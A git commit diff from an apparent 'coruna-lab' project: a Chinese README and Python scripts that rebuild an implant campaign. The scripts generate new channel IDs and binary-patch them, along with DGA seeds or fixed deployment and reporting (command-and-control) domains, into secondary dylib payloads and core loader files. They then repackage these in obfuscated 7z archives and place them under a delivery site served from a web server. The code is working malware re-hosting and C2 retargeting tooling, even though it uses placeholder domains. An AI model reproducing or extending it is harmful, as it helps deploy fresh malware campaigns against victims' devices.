This commit is contained in:
hashbro
2026-08-05 05:42:10 +08:00
parent d4fb538997
commit 22942f1a78
19 changed files with 986 additions and 164 deletions
+36 -38
View File
@@ -1,100 +1,98 @@
# coruna-lab 工具:DGA seed / 固定域名
# coruna-lab 工具:channel id / 固定域名
## 推荐:固定域名列表(多域名探测)
## 推荐:`new_project.py`(新 channel + 固定域名)
植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改:
每次运行都会:
- core(`erupt_flee.js` + `daily.html` 的 sha256/size)
- 全部 type0x01 二级包(10 个 `.min.js`)
1. 自动生成 **32 hex** channel id(或 `--channel-id`)
2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/`
3. 从 `source/sync` 重置并重建 `sync/`(固定域名写入 core / `daily.html`)
4. 写入固定域名 + channel,重打包全部 type0x01 二级包
**无 reuse-sync / 无改 seed 参数。** seed 由域名列表确定性推导;`daily.html`/`erupt_flee.js` 经内容缓存消除 py7zr 随机 salt,相同域名多次构建 → `sync/` 字节一致,仅 `web/<channel>/` 因 channel 不同。旧版备份:`tools/new_project.py.bak`。
```bash
cd coruna-lab
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
pip3 install py7zr pycryptodome
python3 tools/new_project.py \
/usr/bin/python3 tools/new_project.py \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example'
--reporting-domains 'www.rep1.example,www.rep2.example'
```
也支持重复传参:
也支持重复传参 / 指定 channel:
```bash
python3 tools/new_project.py \
/usr/bin/python3 tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains www.dep1.example \
--deployment-domains www.dep2.example \
--reporting-domains www.rep1.example \
--reporting-domains www.rep2.example
```
产物(`new_project.py` 写入 `server/public/`):
产物(写入 `server/public/`):
- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供
- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配)
- `server/public/out/domains.json` — 最终生效的域名列表
- `server/public/web/<channel-id>/` — 投递站(可并存多个 channel)
- `server/public/sync/` — 每次重建(同域名则内容一致)
- `server/public/out/channel.json` — 本次 channel
- `server/public/out/domains.json` — 固定域名列表
- `server/public/out/seeds.json` — 由域名推导的内部 seed
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
约束:
- channel id:**恰好 32** 个小写十六进制字符(与 type-0x01 C 字符串槽位同宽)
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
- 可写 `https://host`(会自动去掉 scheme/path/port)
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/`
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新生成后再部署
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
---
## 仅重建(已有 server/public web/sync)
## 仅重建(已有 server/public)
```bash
# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份
python3 tools/patch_all.py --apply --root server/public \
# 自动生成 channel;若尚无 web/<channel>/ + sync/,会从 source/ 复制
/usr/bin/python3 tools/patch_all.py --apply --root server/public \
--channel-id 'dddddddddddddddddddddddddddddddd' \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
```
---
## 旧模式:只换 DGA seed(算域名)
不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。
```bash
python3 tools/new_project.py
# 或
python3 tools/new_project.py \
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
```
域名未变、只要新 channel 时用 `new_project.py`(会复用 `out/seeds.json` + 现有 `sync/`)。
### Seed 格式
- ASCII,长度 ≤ 32(二进制槽位定长 32)
- 推荐正好 32 个十六进制字符
- Deployment / Reporting 各一个
- Deployment / Reporting 各一个;域名未变时 `new_project` 会自动复用上次 seed
---
## 分步脚本
```bash
# 二级包 type0x01
python3 tools/patch_secondary_packs.py \
# 二级包 type0x01(含 channel)
/usr/bin/python3 tools/patch_secondary_packs.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <32hex> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root . --apply
--root server/public --apply
# core + daily 校验
python3 tools/patch_core.py \
/usr/bin/python3 tools/patch_core.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root . --apply
--root server/public --apply
# 只算 DGA 域名(固定域名模式不需要)
python3 tools/compute_dga_domains.py \
/usr/bin/python3 tools/compute_dga_domains.py \
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
```
源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。
源 dylib 仍读自 `coruna-online/`;`--apply` 写入 `server/public/web/<channel>/` + `sync/`(不会写 `source/`)。
+74
View File
@@ -0,0 +1,74 @@
"""Patch campaign / channel id embedded in type-0x01 secondary dylibs."""
from __future__ import annotations
import re
import secrets
# C-string keys immediately before the channel value in type-0x01 __cstring.
CHANNEL_ANCHOR = b"u\x00d\x00f\x00s\x00c\x00"
CHANNEL_LEN = 32
_CHANNEL_RE = re.compile(rb"^[0-9a-f]{32}$")
def gen_channel_id() -> str:
"""32 lowercase hex chars (same width as campaign slot)."""
return secrets.token_hex(16)
def validate_channel_id(value: str, *, name: str = "--channel-id") -> str:
if not isinstance(value, str) or not _CHANNEL_RE.fullmatch(value.encode("ascii")):
raise SystemExit(
f"{name} must be exactly {CHANNEL_LEN} lowercase hex chars "
f"(got {value!r})"
)
return value
def find_channel_offsets(data: bytes, *, expect_old: bytes | None = None) -> list[int]:
"""Return offsets of the 32-byte channel value after CHANNEL_ANCHOR."""
offsets: list[int] = []
start = 0
while True:
index = data.find(CHANNEL_ANCHOR, start)
if index < 0:
break
value_at = index + len(CHANNEL_ANCHOR)
value = data[value_at : value_at + CHANNEL_LEN]
if (
len(value) == CHANNEL_LEN
and _CHANNEL_RE.fullmatch(value)
and data[value_at + CHANNEL_LEN : value_at + CHANNEL_LEN + 1] == b"\x00"
):
if expect_old is None or value == expect_old:
offsets.append(value_at)
start = index + 1
return offsets
def patch_channel_in_dylib(
data: bytes,
new_channel: str,
*,
old_channel: str | None = None,
expect_hits: int = 1,
label: str = "dylib",
) -> bytes:
"""In-place replace channel C-string (must stay {CHANNEL_LEN} bytes)."""
new_channel = validate_channel_id(new_channel, name="channel")
new_b = new_channel.encode("ascii")
old_b = old_channel.encode("ascii") if old_channel else None
if old_b is not None:
validate_channel_id(old_channel, name="old channel")
offsets = find_channel_offsets(data, expect_old=old_b)
if len(offsets) != expect_hits:
raise SystemExit(
f"{label}: channel anchor hits={len(offsets)} (want {expect_hits}). "
"Secondary payload layout may have changed; re-adapt _channel_patch."
)
buf = bytearray(data)
for offset in offsets:
buf[offset : offset + CHANNEL_LEN] = new_b
return bytes(buf)
+39 -10
View File
@@ -13,7 +13,9 @@ MODULE_HUNT = ONLINE_ROOT / "module_hunt"
if str(MODULE_HUNT) not in sys.path:
sys.path.insert(0, str(MODULE_HUNT))
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
# Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname).
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden)
# Campaign originals (current seeds embedded in type-0x01 + core)
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
@@ -27,6 +29,7 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
_TREE_ROOT = SOURCE_ROOT
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
SYNC_DIR = _TREE_ROOT / "sync"
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
C2_FETCH = ONLINE_ROOT / "c2_fetch"
CORE_DYLIB = (
@@ -53,25 +56,51 @@ def tree_root() -> Path:
return _TREE_ROOT
def set_tree_root(root: Path) -> Path:
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/... and root/sync."""
def campaign_id() -> str:
return CAMPAIGN_HASH
def set_campaign_id(channel: str) -> str:
"""Point CAMPAIGN_DIR at web/<channel>/ under the current tree root."""
global CAMPAIGN_HASH, CAMPAIGN_DIR
from _channel_patch import validate_channel_id
CAMPAIGN_HASH = validate_channel_id(channel, name="channel id")
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
return CAMPAIGN_HASH
def set_tree_root(root: Path, *, channel: str | None = None) -> Path:
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/<channel>/ and root/sync."""
global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR
root = root.resolve()
_TREE_ROOT = root
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
if channel is not None:
set_campaign_id(channel)
else:
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
SYNC_DIR = root / "sync"
return root
def ensure_tree_layout(root: Path) -> None:
camp = root / "web" / CAMPAIGN_HASH
def ensure_tree_layout(
root: Path,
*,
channel: str | None = None,
require_campaign: bool = True,
) -> None:
cid = channel or CAMPAIGN_HASH
camp = root / "web" / cid
sync = root / "sync"
if not camp.is_dir() or not sync.is_dir():
missing = []
if require_campaign and not camp.is_dir():
missing.append(f"web/{cid}/")
if not sync.is_dir():
missing.append("sync/")
if missing:
raise SystemExit(
f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n"
f"missing working tree under {root} (need {', '.join(missing)}).\n"
f"Run first:\n"
f" python3 tools/new_project.py --skip-patch\n"
f"or directly:\n"
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
)
+127 -62
View File
@@ -1,19 +1,33 @@
#!/usr/bin/env python3
"""Reset server/public web/ + sync/ from source/, then patch_all --apply."""
"""Build server/public campaign trees: new channel + fixed domains.
Seeds are derived deterministically from the domain lists (not user-facing).
Same domains → same sync/ and same secondary domain patch; only channel differs.
Each run:
- creates web/<channel-id>/
- rebuilds sync/ from source + fixed-domain patch
- leaves other web/<channel>/ dirs intact
"""
from __future__ import annotations
import argparse
import hashlib
import json
import shutil
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
@@ -27,105 +41,156 @@ def replace_tree(src: Path, dst: Path) -> None:
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}")
if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
"""32-hex seeds stable for a given ordered domain list (pool slots still need seeds)."""
def one(label: str, domains: list[str]) -> str:
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
return hashlib.sha256(material).hexdigest()[:32]
dep_seed = one("deployment", dep)
rep_seed = one("reporting", rep)
if dep_seed == rep_seed:
rep_seed = one("reporting/alt", rep)
return dep_seed, rep_seed
def pick_channel(explicit: str | None, web_root: Path) -> str:
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
while (web_root / channel).exists():
if explicit:
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
channel = gen_channel_id()
return channel
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Copy source/web + source/sync to server/public, then run "
"patch_all.py --apply --root server/public."
"From source/, create server/public/web/<channel-id>/ with fixed "
"Deployment/Reporting domains. Seeds are derived from domains "
"(no --*-seed / no reuse-sync shortcut)."
)
)
parser.add_argument(
"--deployment-seed",
help="optional; forwarded to patch_all (default: random)",
)
parser.add_argument(
"--reporting-seed",
help="optional; forwarded to patch_all (default: random)",
"--channel-id",
help="optional 32-hex channel id (default: random, unique under web/)",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
required=True,
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
required=True,
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print when not using fixed domains (default 5)",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source trees to server/public; do not run patch_all",
)
args = parser.parse_args()
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
fixed_dep = parse_domain_list(args.deployment_domains, label="deployment")
fixed_rep = parse_domain_list(args.reporting_domains, label="reporting")
dep_seed, rep_seed = seeds_from_domains(fixed_dep, fixed_rep)
src_web = SOURCE_ROOT / "web"
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir():
raise SystemExit(f"missing source campaign: {src_web / CAMPAIGN_HASH}")
if not src_campaign.is_dir():
raise SystemExit(f"missing source campaign: {src_campaign}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
dst_web = APPLY_ROOT / "web"
dst_sync = APPLY_ROOT / "sync"
web_root = APPLY_ROOT / "web"
sync_dir = APPLY_ROOT / "sync"
out_root = APPLY_ROOT / "out"
out_root.mkdir(parents=True, exist_ok=True)
web_root.mkdir(parents=True, exist_ok=True)
print("=== reset server/public from source ===")
print(f"from: {SOURCE_ROOT}")
print(f"to: {APPLY_ROOT}/{{web,sync}}")
replace_tree(src_web, dst_web)
replace_tree(src_sync, dst_sync)
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
channel = pick_channel(args.channel_id, web_root)
campaign_dir = web_root / channel
if args.skip_patch:
print("skip-patch: done (source copy only)")
return 0
print("=== new_project ===")
print(f"channel: {channel}")
print(f"web dest: {campaign_dir}")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print(f" seeds: derived from domains (stable)")
print()
cmd = [
sys.executable,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"-n",
str(args.count),
]
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
for item in args.deployment_domains:
cmd += ["--deployment-domains", item]
for item in args.reporting_domains:
cmd += ["--reporting-domains", item]
print("=== copy campaign template ===")
print(f"from: {src_campaign}")
print(f"to: {campaign_dir}")
copy_campaign_template(campaign_dir)
print(f"created web/{channel}/")
print("=== reset sync from source ===")
replace_tree(src_sync, sync_dir)
print(f"copied sync/ -> {sync_dir}")
domain_args: list[str] = []
for item in fixed_dep:
domain_args += ["--deployment-domains", item]
for item in fixed_rep:
domain_args += ["--reporting-domains", item]
print()
print("=== patch_all --apply ===")
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
run(
[
sys.executable,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"--channel-id",
channel,
"--deployment-seed",
dep_seed,
"--reporting-seed",
rep_seed,
*domain_args,
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
out_root = APPLY_ROOT / "out"
print()
print("=== ready ===")
print(f"web: {dst_web / CAMPAIGN_HASH}")
print(f"sync: {dst_sync}")
print(f"seeds: {out_root / 'seeds.json'}")
print(f"web: {campaign_dir}")
print(f"sync: {sync_dir}")
print(f"channel: {out_root / 'channel.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print("served by Laravel public:")
print(f" /web/{CAMPAIGN_HASH}/support.html")
print(f" /web/{channel}/support.html")
print(" /sync/daily.html")
return 0
+299
View File
@@ -0,0 +1,299 @@
#!/usr/bin/env python3
"""Build server/public campaign trees from source/ with new channel + domains.
Each run creates a new web/<channel-id>/ (32 hex). sync/ is rebuilt only when
Deployment/Reporting domains change (or on first run). Re-running with the same
domains only adds another web/<channel-id>/ and leaves sync/ + prior campaigns.
"""
from __future__ import annotations
import argparse
import json
import shutil
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def replace_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}")
if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def load_json(path: Path) -> dict | None:
if not path.is_file():
return None
return json.loads(path.read_text())
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
if not prev or prev.get("mode") != "fixed_domains":
return False
return (
prev.get("deployment", {}).get("domains") == dep
and prev.get("reporting", {}).get("domains") == rep
)
def pick_channel(explicit: str | None, web_root: Path) -> str:
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
while (web_root / channel).exists():
if explicit:
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
channel = gen_channel_id()
return channel
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"From source/, create server/public/web/<channel-id>/ with a new "
"channel id and patched secondary packs; rebuild sync/ when domains change."
)
)
parser.add_argument(
"--channel-id",
help="optional 32-hex channel id (default: random, unique under web/)",
)
parser.add_argument("--deployment-seed", help="optional; default: random or reuse")
parser.add_argument("--reporting-seed", help="optional; default: random or reuse")
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print when not using fixed domains (default 5)",
)
parser.add_argument(
"--force-sync",
action="store_true",
help="rebuild sync/ even when domains match the previous project",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source campaign+sync into server/public (no binary patch)",
)
args = parser.parse_args()
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if not args.deployment_domains and not args.skip_patch:
raise SystemExit(
"new_project requires --deployment-domains / --reporting-domains "
"(or --skip-patch for a raw source copy)"
)
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir():
raise SystemExit(f"missing source campaign: {src_campaign}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
web_root = APPLY_ROOT / "web"
sync_dir = APPLY_ROOT / "sync"
out_root = APPLY_ROOT / "out"
out_root.mkdir(parents=True, exist_ok=True)
web_root.mkdir(parents=True, exist_ok=True)
channel = pick_channel(args.channel_id, web_root)
campaign_dir = web_root / channel
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
else None
)
fixed_rep = (
parse_domain_list(args.reporting_domains, label="reporting")
if args.reporting_domains
else None
)
prev_domains = load_json(out_root / "domains.json")
prev_seeds = load_json(out_root / "seeds.json")
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
same_domains = (
fixed_dep is not None
and fixed_rep is not None
and domains_equal(prev_domains, fixed_dep, fixed_rep)
and sync_ready
and not args.force_sync
)
print("=== new_project ===")
print(f"channel: {channel}")
print(f"web dest: {campaign_dir}")
if fixed_dep is not None:
print(f"domains: {'reuse sync (unchanged)' if same_domains else 'rebuild sync'}")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print()
print("=== copy campaign template ===")
print(f"from: {src_campaign}")
print(f"to: {campaign_dir}")
copy_campaign_template(campaign_dir)
print(f"created web/{channel}/")
if args.skip_patch:
if not sync_ready:
print("=== copy sync from source ===")
replace_tree(src_sync, sync_dir)
(out_root / "channel.json").write_text(
json.dumps({"channel_id": channel, "patched": False}, indent=2) + "\n"
)
print("skip-patch: done")
return 0
assert fixed_dep is not None and fixed_rep is not None
py = sys.executable
domain_args: list[str] = []
for item in fixed_dep:
domain_args += ["--deployment-domains", item]
for item in fixed_rep:
domain_args += ["--reporting-domains", item]
if same_domains:
# Reuse seeds so fixed-domain shellcode matches existing sync/.
dep = args.deployment_seed or (prev_seeds or {}).get("deployment_seed")
rep = args.reporting_seed or (prev_seeds or {}).get("reporting_seed")
if not dep or not rep:
raise SystemExit(
"domains unchanged but out/seeds.json missing seeds; "
"pass --deployment-seed/--reporting-seed or --force-sync"
)
print("=== domains unchanged: patch secondary only ===")
print(f"reuse seeds dep={dep} rep={rep}")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"--channel-id",
channel,
*domain_args,
"--root",
str(APPLY_ROOT),
"--apply",
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": False,
"deployment_seed": dep,
"reporting_seed": rep,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
else:
print("=== domains new/changed: reset sync + full patch ===")
replace_tree(src_sync, sync_dir)
print(f"copied sync/ -> {sync_dir}")
cmd = [
py,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"--channel-id",
channel,
"-n",
str(args.count),
*domain_args,
]
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
print()
print("=== patch_all --apply ===")
run(cmd)
seeds = load_json(out_root / "seeds.json") or {}
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": True,
"deployment_seed": seeds.get("deployment_seed"),
"reporting_seed": seeds.get("reporting_seed"),
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
print()
print("=== ready ===")
print(f"web: {campaign_dir}")
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
print(f"channel: {out_root / 'channel.json'}")
print(f"seeds: {out_root / 'seeds.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print("served by Laravel public:")
print(f" /web/{channel}/support.html")
print(" /sync/daily.html")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+42 -20
View File
@@ -11,10 +11,12 @@ import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def gen_seed() -> str:
@@ -32,25 +34,28 @@ def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
return {n for n in names if n in skip or n.endswith(".pyc")}
def ensure_working_tree(root: Path) -> None:
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch)."""
camp = root / "web" / CAMPAIGN_HASH
def ensure_working_tree(root: Path, channel: str) -> None:
"""Ensure sync/ and web/<channel>/ exist (copy from source template if needed)."""
camp = root / "web" / channel
sync = root / "sync"
if camp.is_dir() and sync.is_dir():
return
src_web = SOURCE_ROOT / "web"
src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir():
if not src_camp.is_dir() or not src_sync.is_dir():
raise SystemExit(
f"missing working tree and source template.\n"
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}"
f"missing source template.\n"
f"expected: {src_camp} and {src_sync}"
)
print("=== bootstrap working tree from source/ ===")
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")):
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}")
if not camp.is_dir() or not sync.is_dir():
print("=== bootstrap working tree from source/ ===")
if not sync.is_dir():
shutil.copytree(src_sync, sync, symlinks=False, ignore=_ignore_junk)
print(f"copied sync/ -> {sync}")
if not camp.is_dir():
camp.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
print(f"copied campaign -> {camp}")
if not camp.is_dir() or not sync.is_dir():
raise SystemExit(f"failed to bootstrap {camp} / {sync}")
print()
@@ -63,6 +68,10 @@ def main() -> int:
)
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
parser.add_argument(
"--channel-id",
help="32-hex channel id for web/<id>/ + type-0x01 embed (default: random)",
)
parser.add_argument(
"--deployment-domains",
action="append",
@@ -83,7 +92,7 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="write into --root web/ + sync/",
help="write into --root web/<channel-id>/ + sync/",
)
parser.add_argument(
"-n",
@@ -99,8 +108,10 @@ def main() -> int:
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
if args.apply and args.root:
ensure_working_tree(args.root.resolve())
ensure_working_tree(args.root.resolve(), channel)
fixed_mode = bool(args.deployment_domains)
dep = args.deployment_seed or gen_seed()
@@ -117,6 +128,7 @@ def main() -> int:
{
"deployment_seed": dep,
"reporting_seed": rep,
"channel_id": channel,
"mode": "fixed_domains" if fixed_mode else "dga",
},
indent=2,
@@ -124,8 +136,9 @@ def main() -> int:
+ "\n"
)
print("=== seeds ===")
print("=== seeds / channel ===")
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
print(f"channel: {channel}")
print(f"deployment: {dep}")
print(f"reporting: {rep}")
print(f"saved: {seeds_path}")
@@ -136,6 +149,7 @@ def main() -> int:
py = sys.executable
apply = ["--apply"] if args.apply else []
root = ["--root", str(args.root.resolve())] if args.root else []
channel_args = ["--channel-id", channel]
domain_args: list[str] = []
if fixed_mode:
for item in args.deployment_domains:
@@ -152,6 +166,7 @@ def main() -> int:
dep,
"--reporting-seed",
rep,
*channel_args,
*domain_args,
*root,
*apply,
@@ -177,7 +192,6 @@ def main() -> int:
domains_path = out_root / "domains.json"
if fixed_mode:
# Prefer MANIFEST from patch_core output
manifest_path = out_root / "sync" / "MANIFEST.json"
if not manifest_path.is_file():
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
@@ -212,8 +226,14 @@ def main() -> int:
domains["mode"] = "dga"
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
(out_root / "channel.json").write_text(
json.dumps({"channel_id": channel, "patched": True, "sync_rebuilt": True}, indent=2)
+ "\n"
)
print()
print("=== final domains ===")
print(f"channel={channel}")
print(f"deployment seed={dep}")
for i, domain in enumerate(domains["deployment"]["domains"], 1):
print(f" {i:03d} {domain}")
@@ -223,6 +243,8 @@ def main() -> int:
print()
print(f"seeds: {seeds_path}")
print(f"domains: {domains_path}")
if args.apply and args.root:
print(f"web: {args.root.resolve() / 'web' / channel}")
if not args.apply:
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
return 0
+20 -2
View File
@@ -60,6 +60,19 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
